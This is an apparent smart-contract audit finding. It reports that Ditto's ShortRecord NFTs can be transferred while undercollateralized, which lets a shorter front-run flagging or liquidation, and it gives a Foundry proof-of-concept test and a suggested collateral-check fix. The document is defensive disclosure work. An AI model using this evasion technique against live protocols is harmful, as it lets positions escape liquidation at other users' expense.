Vulnerability Details
ShortRecords with minted NFT's can be transferred even if the collateral ratio is below the liquidation thresholds.
function transferShortRecord(
address asset,
address from,
address to,
uint40 tokenId,
STypes.NFT memory nft
) internal {
AppStorage storage s = appStorage();
STypes.ShortRecord storage short = s.shortRecords[asset][from][nft.shortRecordId];
if (short.status == SR.Cancelled) revert Errors.OriginalShortRecordCancelled();
if (short.flaggerId != 0) revert Errors.CannotTransferFlaggedShort();
deleteShortRecord(asset, from, nft.shortRecordId);
https://github.com/Cyfrin/2023-09-ditto/blob/a93b4276420a092913f43169a353a6198d3c21b9/contracts/libraries/LibShortRecord.sol#L120-L132
This allows an user having a ShortRecord with low collateral ratio to transfer it to another of their own address by front running a flag/liquidation. Since the flagger/liquidator has to pass in the (shorter,id) to specify the short, any attempt to flag/liquidate the short will fail.
function flagShort(address asset, address shorter, uint8 id, uint16 flaggerHint)
https://github.com/Cyfrin/2023-09-ditto/blob/a93b4276420a092913f43169a353a6198d3c21b9/contracts/facets/MarginCallPrimaryFacet.sol#L43C36-L43C36
POC Test
@@ -101,6 +101,36 @@ contract MarginCallFlagShortTest is MarginCallHelper {
assertEq(diamond.getFlagger(shortRecord.flaggerId), extra);
}
+ function test_Revert_FlaggerMovesTheToken() external {
+ fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
+ fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
+ STypes.ShortRecord memory shortRecord =
+ diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
+
+ assertEq(diamond.getFlaggerIdCounter(), 1);
+ assertEq(shortRecord.flaggerId, 0);
+ assertEq(diamond.getFlagger(shortRecord.flaggerId), address(0));
+
+ //make short flaggable
+ skip(2 hours);
+ setETH(2500 ether);
+
+ //owner transfers the short before user flags
+ address senderAlternativeAddress = address(314);
+ vm.startPrank(sender);
+ diamond.mintNFT(asset,Constants.SHORT_STARTING_ID);
+ shortRecord =
+ diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
+ diamond.transferFrom(sender,senderAlternativeAddress,shortRecord.tokenId);
+ vm.stopPrank();
+
+ //the tx to flag short fails due to changed ownership of short
+ vm.prank(extra);
+ vm.expectRevert(Errors.InvalidShortId.selector);
+ diamond.flagShort(asset, sender, Constants.SHORT_STARTING_ID, Constants.HEAD);
+
+ }
+
function checkShortRecordAfterReset() public {
STypes.ShortRecord memory shortRecord =
diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
Impact
Flaggers/liquidators might end up wasting gas without flagging/liquidating the short record and the system will have low collateral ratio.
Recommendations
Disallow transferring a short record if the collateral ratio is below the primary liquidation threshold.
@@ -128,6 +128,10 @@ library LibShortRecord {
STypes.ShortRecord storage short = s.shortRecords[asset][from][nft.shortRecordId];
if (short.status == SR.Cancelled) revert Errors.OriginalShortRecordCancelled();
if (short.flaggerId != 0) revert Errors.CannotTransferFlaggedShort();
+ if (
+ getCollateralRatioSpotPrice(short, LibOracle.getSavedOrSpotOraclePrice(asset))
+ < LibAsset.primaryLiquidationCR(asset)
+ ) revert Errors.InsufficientCollateral();
deleteShortRecord(asset, from, nft.shortRecordId);
